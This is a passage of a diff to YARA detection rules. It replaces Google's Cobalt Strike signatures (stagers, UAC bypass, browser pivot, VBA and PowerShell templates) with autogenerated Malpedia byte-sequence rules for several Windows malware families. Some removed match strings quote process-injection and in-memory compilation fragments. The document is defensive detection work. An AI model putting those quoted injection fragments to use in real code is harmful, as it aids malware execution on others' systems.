 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$importVA = "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc" nocase
-		$importCT = "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread" nocase
-		$importWFSO = "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject" nocase
-		$compiler = "New-Object Microsoft.CSharp.CSharpCodeProvider" nocase
-		$params = "New-Object System.CodeDom.Compiler.CompilerParameters" nocase
-		$paramsSys32 = ".ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))" nocase
-		$paramsGIM = ".GenerateInMemory = $True" nocase
-		$result = "$compiler.CompileAssemblyFromSource($params, $assembly)" nocase
+		$sequence_0 = { e8???????? 8d8c246c020000 c7842498050000ffffffff e8???????? 8b8c2490050000 }
+		$sequence_1 = { 8bf8 85ff 0f84a7000000 8b442434 53 }
+		$sequence_2 = { 7c0a 817c241400000400 7304 8b7c2414 6a00 }
+		$sequence_3 = { 8bd8 0f8494000000 85db 0f848c000000 }
+		$sequence_4 = { 6804010000 8d842454010000 57 50 e8???????? }
+		$sequence_5 = { 2beb 8bc1 8bf7 8bfa 53 c1e902 f3a5 }
+		$sequence_6 = { 50 ff15???????? 8b8c2428020000 6a00 6880000000 6a02 6a00 }
+		$sequence_7 = { 57 ff15???????? 8b1d???????? 8d4c243c 8bf0 51 }
+		$sequence_8 = { 50 57 ff15???????? 8b1d???????? 8d4c243c }
+		$sequence_9 = { 68???????? 51 ffd5 8d542410 8d842450010000 52 50 }
 
 	condition:
-		all of them
+		7 of them and filesize <1032192
 }
-rule GCTI_Cobaltstrike_Resources_Covertvpn_Dll_V2_1_To_V4_X
+rule MALPEDIA_Win_Ismagent_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/covertvpn.dll signature for version v2.2 to v4.4"
-		author = "gssincla@google.com"
-		id = "a65b855c-5703-5b9f-bb57-da8ebf898f9b"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Covertvpn_Dll_v2_1_to_v4_x.yara#L17-L120"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "0a452a94d53e54b1df6ba02bc2f02e06d57153aad111171a94ec65c910d22dcf"
-		logic_hash = "1f6e4254fdfd4f9b13c2000333aabbb7da90d2df7ee1b12faa6ea3c066351468"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "efc3a6d8-4046-5104-90f5-9440914b7f87"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ismagent_auto.yar#L1-L102"
+		license_url = "N/A"
+		logic_hash = "d297d8bd0034edde53a6d3eb1d7bb7add88b3f450af6b836362398a9173b61dc"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$dropComponentsAndActivateDriver_prologue = {
-			5?
-			68 [4]
-			68 [4]
-			C7 [3-5] 00 00 00 00
-			FF 15 [4]
-			50
-			FF 15 [4]
-			8B ??
-			85 ??
-			74 ??
-			8D [3-5]
-			5?
-			FF 15 [4]
-			50
-		}
-		$dropFile = {
-			6A 00
-			5?
-			E8 [4]
-			83 C4 08
-			83 F8 FF
-			74 ??
-			5?
-			[0-5]
-			E8 [4]
-			83 C4 ??
-			[0-2]
-			6A 00
-			68 80 01 00 00
-			6A 02
-			6A 00
-			6A 05
-			68 00 00 00 40
-			5?
-			FF 15 [4]
-			8B ??
-			83 ?? FF
-			75 ??
-			FF 15 [4]
-			5?
-		}
-		$nfp = "npf.sys" nocase
-		$wpcap = "wpcap.dll" nocase
+		$sequence_0 = { ba???????? 6a00 6800000080 6a00 6a00 68???????? 53 }
+		$sequence_1 = { 89442440 85c0 752b 50 68???????? }
+		$sequence_2 = { eb7c c745e000fe4100 ebbb d9e8 8b4510 }
+		$sequence_3 = { e8???????? 83c408 89442418 85c0 0f8479020000 }
+		$sequence_4 = { 68e8030000 ff15???????? 8d8c2418030000 8d5101 }
+		$sequence_5 = { 7432 8d842418030000 68???????? 50 e8???????? 8bf0 }
+		$sequence_6 = { 8bf2 0f1f4000 8a02 42 84c0 75f9 8dbc2400070000 }
+		$sequence_7 = { 8d0439 7413 0f1f4000 803823 740a }
 
 	condition:
-		all of them
+		7 of them and filesize <327680
 }
-rule GCTI_Cobaltstrike_Resources_Xor_Bin__64Bit_V3_12_To_V4_X
+rule MALPEDIA_Win_Kegotip_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resource/xor64.bin signature for version 3.12 through 4.x"
-		author = "gssincla@google.com"
-		id = "5bb465ee-3bbd-5bfe-8b63-1f243de217bc"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Xor_Bin__64bit_v3_12_to_4_x.yara#L17-L38"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "01dba8783768093b9a34a1ea2a20f72f29fd9f43183f3719873df5827a04b744"
-		logic_hash = "aabaad09408ae292a0bbc678c334f9f54364b4f6b882846072c303bf826fc2da"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "00ad7f0a-dc8e-510c-a1d3-35279f77a6e7"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kegotip_auto.yar#L1-L122"
+		license_url = "N/A"
+		logic_hash = "32b69314873829a2218a5374ade1e7ef8ad560cb68aa690aa8ede1fd50d9aa93"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$stub58 = {fc e8 ?? ?? ?? ?? [1-32] eb 33 5? 8b ?? 00 4? 83 ?? ?4 8b ?? 00 31 ?? 4? 83 ?? ?4 5? 8b ?? 00 31 ?? 89 ?? 00 31 ?? 4? 83 ?? ?4 83 ?? ?4 31 ?? 39 ?? 74 ?2 eb e7 5? fc 4? 83 ?? f0 ff}
-		$stub59 = {fc e8 ?? ?? ?? ?? [1-32] eb 2e 5? 8b ??    48 83 c? ?4 8b ??    31 ?? 48 83 c? ?4 5? 8b ??    31 ?? 89 ??    31 ?? 48 83 c? ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e9 5?    48 83 ec ?8 ff e? e8 cd ff ff ff}
-		$stub63 = {fc e8 ?? ?? ?? ?? [1-32] eb 32 5d 8b ?? ?? 48 83 c5 ?4 8b ?? ?? 31 ?? 48 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 48 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e7 5?    48 83 ec ?8 ff e? e8 c9 ff ff ff}
+		$sequence_0 = { eb6d e9???????? eb63 c745f400000000 }
+		$sequence_1 = { e8???????? 83c40c c705????????94000000 68???????? }
+		$sequence_2 = { 83c201 8955ec 8b45f8 83c004 8945f8 }
+		$sequence_3 = { 89420c 8b4dfc c7412400000000 8b55fc a1???????? 894210 6a10 }
+		$sequence_4 = { 8b55f8 83c201 8955f8 ebe0 8b45f8 0fbe08 }
+		$sequence_5 = { 6800100000 6800000800 6a00 ff15???????? 8945fc 837dfc00 7504 }
+		$sequence_6 = { 0f8592000000 8b4508 0345e8 0fb648ff 51 }
+		$sequence_7 = { 52 8b4508 50 8d4df4 51 6a00 68???????? }
+		$sequence_8 = { 8b85fcfdffff 0fbe8c0500feffff 83f97a 7f1e 8b95fcfdffff 0fbe841500feffff 83e820 }
+		$sequence_9 = { 8d85b0feffff 50 6a00 8d8dd8feffff 51 ff15???????? }
 
 	condition:
-		any of them
+		7 of them and filesize <278528
 }
-rule GCTI_Cobaltstrike_Resources_Bypassuactoken_Dll_V3_11_To_V3_14
+rule MALPEDIA_Win_Qadars_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/bypassuactoken.dll from v3.11 to v3.14 (32-bit version)"
-		author = "gssincla@google.com"
-		id = "b9f25fa5-bd1d-5ba0-9b1d-bb97e1dbf76b"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuactoken_Dll_v3_11_to_v3_14.yara#L17-L151"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "df1c7256dfd78506e38c64c54c0645b6a56fc56b2ffad8c553b0f770c5683070"
-		logic_hash = "fe0780b7f4c16b55cfa00ea7de4da8ce349ec8a72de763b72e816ebc8e934b6d"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "9fe67d17-52ae-502a-8e0c-394e495a69f5"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.qadars_auto.yar#L1-L161"
+		license_url = "N/A"
+		logic_hash = "3d2af7ca0745a690ff7b2f329cb25b898b4988f89dfff4953c93c63e52507d01"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$isHighIntegrityProcess = {
-			5?
-			5?
-			5?
-			8B ??
-			6A 19
-			5?
-			FF 15 [4]
-			85 C0
-			75 ??
-			FF 15 [4]
-			83 ?? 7A
-			75 ??
-			FF [2]
-			5?
-			FF 15 [4]
-			8B ??
-			8D [2]
-			5?
-			FF [2]
-			5?
-			6A 19
-			5?
-			FF 15 [4]
-			85 C0
-			74 ??
-			FF ??
-			FF 15 [4]
-			8A ??
-			FE C8
-			0F B6 C0
-			5?
-			FF ??
-			FF 15 [4]
-			B? 01 00 00 00
-			5?
-			81 ?? 00 30 00 00
-		}
-		$executeTaskmgr = {
-			6A 3C
-			8D ?? C4
-			8B ??
-			6A 00
-			5?
-			8B ??
-			E8 [4]
-			83 C4 0C
-			C7 [2] 3C 00 00 00
-			8D [2]
-			C7 [2] 40 00 00 00
-			C7 [6]
-			C7 [2] 00 00 00 00
-			5?
-			C7 [2] 00 00 00 00
-			C7 [6]
-			C7 [2] 00 00 00 00
-			FF 15 [4]
-			FF 75 FC
-		}
+		$sequence_0 = { 48 c7048100000000 75f4 8b06 }
+		$sequence_1 = { 8b4d10 8939 5f 8bc6 5e 5b }
+		$sequence_2 = { 747a 8b45fc 3b4604 7650 33c9 }
+		$sequence_3 = { 33c9 8908 894804 53 8b5d0c 8b4308 56 }
+		$sequence_4 = { 83e940 0f8589040000 bb???????? 8b701c }
+		$sequence_5 = { 33c0 6808020000 50 8d8de6fdffff 51 668985e4fdffff e8???????? }
+		$sequence_6 = { 894608 85c0 75ee eb32 85db }
+		$sequence_7 = { ff470c 8d4dc4 8955d0 e8???????? 8b75f4 }
+		$sequence_8 = { 6a00 8d4df4 51 6a04 8d55f8 }
+		$sequence_9 = { 6a01 6a08 ff15???????? 83c408 }
+		$sequence_10 = { 6a01 8b55fc 52 ff15???????? 83c408 }
+		$sequence_11 = { 83c40c 6805010000 8d8df8feffff 51 }
+		$sequence_12 = { 51 8b55f0 52 ff15???????? 83c40c }
+		$sequence_13 = { 83c408 6a09 8d4dc4 51 8b5518 }
+		$sequence_14 = { 83c408 837de000 740c 8b4de0 }
+		$sequence_15 = { 83c408 837df800 747f 8b4df8 }
 
 	condition:
-		all of them
+		7 of them and filesize <630784
 }
-rule GCTI_Cobaltstrike__Resources_Browserpivot_Bin_V1_48_To_V3_14_And_Sleeve_Browserpivot_Dll_V4_0_To_V4_X
+rule MALPEDIA_Win_Micrass_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/browserpivot.bin from v1.48 to v3.14 and sleeve/browserpivot.dll from v4.0 to at least v4.4"
-		author = "gssincla@google.com"
-		id = "55086544-6684-526b-914f-505a562be458"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Browserpivot_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_Dll_v4_0_to_v4_x.yara#L17-L60"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "12af9f5a7e9bfc49c82a33d38437e2f3f601639afbcdc9be264d3a8d84fd5539"
-		logic_hash = "416554d31c105fd96aeaef508847efe2889590909c8d0025e3862e5b24078131"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "4db1798a-2c39-50c7-84da-46ea64acd353"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.micrass"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.micrass_auto.yar#L1-L121"
+		license_url = "N/A"
+		logic_hash = "9dffdea8c321d05076908df0f614e54842a8e7b97f4db09cebeac9dcb66ebdaa"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$socket_recv = {
-			FF [1-5]
-			83 ?? FF
-			74 ??
-			85 C0
-			(74 | 76) ??
-			03 ??
-			83 ?? 02
-			72 ??
-			80 ?? 3E FF 0A
-			75 ??
-			80 ?? 3E FE 0D
-		}
-		$fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]"
+		$sequence_0 = { 59 89442424 8d442408 6a50 }
+		$sequence_1 = { 66890c45c4cc4000 40 ebe8 33c0 8945e4 3d01010000 7d0d }
+		$sequence_2 = { 8dbdccfdffff a5 a5 a5 a5 }
+		$sequence_3 = { 6a06 89430c 8d4310 8d8984194000 5a 668b31 }
+		$sequence_4 = { 8d85f8afffff 6a00 50 e8???????? 68???????? 57 e8???????? }
+		$sequence_5 = { 53 8985b83fffff 8d85c03fffff 57 50 89bddc9fffff }
+		$sequence_6 = { 56 b9???????? 8bf2 2bc8 2bf0 8a1401 }
+		$sequence_7 = { 8985e4fbffff 6a05 59 be???????? }
+		$sequence_8 = { 50 c744244801010000 e8???????? 59 50 89442414 }
+		$sequence_9 = { 8bcb e8???????? 59 837e4400 57 bf???????? }
 
 	condition:
-		all of them
+		7 of them and filesize <163840
 }
-rule GCTI_Cobaltstrike_Resources_Httpstager_Bin_V2_5_Through_V4_X
+rule MALPEDIA_Win_Redsalt_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/httpstager.bin signature for versions 2.5 to 4.x"
-		author = "gssincla@google.com"
-		id = "86109485-c26c-5c51-8d04-dd1add9a8c57"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpstager_Bin_v2_5_through_v4_x.yara#L17-L93"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "a47569af239af092880751d5e7b68d0d8636d9f678f749056e702c9b063df256"
-		logic_hash = "3baab08b0118e00432f1869ba5daa4fc6383bfc020119bfbb3047a008c33fe72"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "295994ac-254e-59ee-b227-ac14e9e1f055"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redsalt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redsalt_auto.yar#L1-L217"
+		license_url = "N/A"
+		logic_hash = "03f89ce4b045eb8ff5f60169a4045ddc5e403a310ae115cf10989b990183d50a"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 73
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$apiLocator = {
-			31 ??
-			AC
-			C1 ?? 0D
-			01 ??
-			38 ??
-			75 ??
-			03 [2]
-			3B [2]
-			75 ??
-			5?
-			8B ?? 24
-			01 ??
-			66 8B [2]
-			8B ?? 1C
-			01 ??
-			8B ?? 8B
-			01 ??
-			89 [3]
-			5?
-			5?
-		}
-		$downloaderLoop = {
-			B? 00 2F 00 00
-			39 ??
-			74 ??
-			31 ??
-			( E9 | EB )
-		}
+		$sequence_0 = { 750b 68e8030000 ff15???????? e8???????? }
+		$sequence_1 = { 83c414 33c9 83f8ff 0f95c1 }
+		$sequence_2 = { e8???????? 85c0 750a 6a32 }
+		$sequence_3 = { c745d060ea0000 6a04 8d45d0 50 6806100000 }
+		$sequence_4 = { 51 ffd6 85c0 7510 }
+		$sequence_5 = { 85c0 7515 c705????????01000000 ff15???????? e9???????? }
+		$sequence_6 = { 83c9ff 85f6 7c0e 83fe7f 7f09 }
+		$sequence_7 = { 6a01 6a00 6a01 6800000080 }
+		$sequence_8 = { 7509 80780120 7503 83c002 }
+		$sequence_9 = { 8d8530fcffff 50 e8???????? 83c40c }
+		$sequence_10 = { 6a00 52 c744242401000000 8944242c c744243002000000 ff15???????? }
+		$sequence_11 = { c60100 5f 5e 33c0 }
+		$sequence_12 = { 83c40c eb02 33c0 8b4df4 }
+		$sequence_13 = { e8???????? 83c408 6800010000 68???????? }
+		$sequence_14 = { c1fa04 c0e302 0ad3 83c004 }
+		$sequence_15 = { 833800 750f c705????????01000000 e9???????? }
+		$sequence_16 = { eb03 83caff 8b442410 c0e106 }
+		$sequence_17 = { f7e7 8bea d1ed 33c0 83ef03 8a06 83c603 }
+		$sequence_18 = { c644243423 c644243572 c64424367a c644243700 }
+		$sequence_19 = { c8201cdd f7be5b408d58 1b7f01 d2cc }
+		$sequence_20 = { d2cc bbe3b46b7e 6aa2 dd45ff }
+		$sequence_21 = { e8???????? 85ed 4863cd 488be8 }
+		$sequence_22 = { e8???????? 8905???????? 48488b942498020000 488b8c2490020000 }
+		$sequence_23 = { e8???????? 8903 83f8ff 0f858e3e0b00 }
+		$sequence_24 = { e8???????? 8905???????? 4883c428 7502 }
 
 	condition:
-		$apiLocator and $downloaderLoop
+		7 of them and filesize <2957312
 }
-rule GCTI_Cobaltstrike_Resources_Httpsstager_Bin_V2_5_Through_V4_X
+rule MALPEDIA_Win_Telb_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/httpsstager.bin signature for versions 2.5 to 4.x"
-		author = "gssincla@google.com"
-		id = "f45aa40a-3936-50f9-a60e-de7181862d19"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpsstager_Bin_v2_5_through_v4_x.yara#L17-L95"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "5ebe813a4c899b037ac0ee0962a439833964a7459b7a70f275ac73ea475705b3"
-		logic_hash = "d2f722809a59faf8ecd85e46eadf58bf23ba5f515ad9c949843f1e6bfeec1fbf"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "41000399-e9f0-5453-bf9a-ecf53c98abcc"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.telb"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.telb_auto.yar#L1-L129"
+		license_url = "N/A"
+		logic_hash = "96b99ffd86058bdff13d6d8551ee9f8fb32df4a8153fed924c3d3ed45dd1d6ae"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$apiLocator = {
-			31 ??
-			AC
-			C1 ?? 0D
-			01 ??
-			38 ??
-			75 ??
-			03 [2]
-			3B [2]
-			75 ??
-			5?
-			8B ?? 24
-			01 ??
-			66 8B [2]
-			8B ?? 1C
-			01 ??
-			8B ?? 8B
-			01 ??
-			89 [3]
-			5?
-			5?
-		}
-		$InternetSetOptionA = {
-			6A 04
-			5?
-			6A 1F
-			5?
-			68 75 46 9E 86
-			FF
-		}
+		$sequence_0 = { c744242400000000 e8???????? 68???????? ff15???????? a3???????? 8d4c2430 6a12 }
+		$sequence_1 = { 68???????? 8d8c24a4000000 e8???????? 8d8c24a0000000 e8???????? 8d8c24a0000000 }
+		$sequence_2 = { 668908 8d8d68eeffff c645fc26 e8???????? 8d8d68eeffff e8???????? 8d8dd0efffff }
+		$sequence_3 = { 8945fc 85f6 7407 83feff 746f eb69 8b1c9d485c4100 }
+		$sequence_4 = { 50 e8???????? 8b853ceeffff 83c40c 8985b0efffff 89b5b4efffff c645fc35 }
+		$sequence_5 = { 8d85f0bfffff 50 ff15???????? 85c0 0f847b020000 6800200000 }
+		$sequence_6 = { 0f8796150000 52 51 e8???????? 83c408 807c241200 }
+		$sequence_7 = { 8d442468 50 e8???????? 837c244408 8d4c2430 }
+		$sequence_8 = { 0f438570efffff 8d8d88efffff 50 e8???????? 6a01 68???????? 8d8d88efffff }
+		$sequence_9 = { 85f6 0f8551010000 a1???????? b9???????? 83c0f5 50 56 }
 
 	condition:
-		$apiLocator and $InternetSetOptionA
+		7 of them and filesize <286720
 }
-rule GCTI_Cobaltstrike_Resources_Template_X86_Vba_V3_8_To_V4_X
+rule MALPEDIA_Win_Artra_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/template.x86.vba signature for versions v3.8 to v4.x"
-		author = "gssincla@google.com"
-		id = "11c7758e-93b2-5fe3-873d-b98de579d2b4"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_x86_Vba_v3_8_to_v4_x.yara#L17-L37"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142"
-		logic_hash = "7114515477d82651806eccef34f599f6ffd4614f987dee29417ac6ef7a1a1c38"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "e3b6f047-fdc2-51fa-b830-434c73cd7acb"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.artra"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.artra_auto.yar#L1-L244"
+		license_url = "N/A"
+		logic_hash = "071975b61ff1770e71eaa8840068c294ba8aa67d37ecde4d3c9fbb80c75c80c8"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 73
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$createstuff = "Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\"" nocase
-		$allocstuff = "Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\"" nocase
-		$writestuff = "Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\"" nocase
-		$runstuff = "Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\"" nocase
-		$vars = "Dim rwxpage As Long" nocase
-		$res = "RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)"
-		$rwxpage = "AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)"
+		$sequence_0 = { 8b442410 5f 5e 83c41c c21000 5f 33c0 }
+		$sequence_1 = { 5f 8a08 40 84c9 75f9 2bc2 880c30 }
+		$sequence_2 = { 75f9 2bc7 3bc8 72e3 8bc6 }
+		$sequence_3 = { 57 33c9 8d7801 8da42400000000 8a10 }
+		$sequence_4 = { 800431f3 8bc6 41 8d7801 }
+		$sequence_5 = { 72e3 8bc6 8d5001 5f 8a08 }
+		$sequence_6 = { 2bc2 03fb 8a4f01 47 }
+		$sequence_7 = { 85ff 0f8488000000 6a00 57 ff15???????? }
+		$sequence_8 = { 8b2d???????? 90 8b542410 8d4c2410 51 }
+		$sequence_9 = { 40 42 84c9 75f6 e8???????? }
+		$sequence_10 = { e8???????? 8b3d???????? 6a00 6a00 6a00 8d442414 50 }
+		$sequence_11 = { 57 ff15???????? 6a6d 56 ff15???????? 8bf0 }
+		$sequence_12 = { 6a00 8935???????? ff15???????? 8bf8 85ff 0f8488000000 }
+		$sequence_13 = { 8d442414 50 ffd7 85c0 7445 }
+		$sequence_14 = { 8b1d???????? 55 8b2d???????? 90 }
+		$sequence_15 = { 8a15???????? 8817 8d842484020000 8bc8 8bff 8a10 }
+		$sequence_16 = { e8???????? 8bce c644241800 e8???????? 8b47fc }
+		$sequence_17 = { c64424204d c644242161 c644242263 c644242368 c64424256e c644242665 c644242747 }
+		$sequence_18 = { 2bcd 8bfe 8d642400 8a1401 fec2 }
+		$sequence_19 = { 33c0 0fbe0c30 8d519f 83fa05 }
+		$sequence_20 = { be0c000000 8a1401 feca 8810 }
+		$sequence_21 = { ffd6 85c0 75cc 5d 5b 8b442410 }
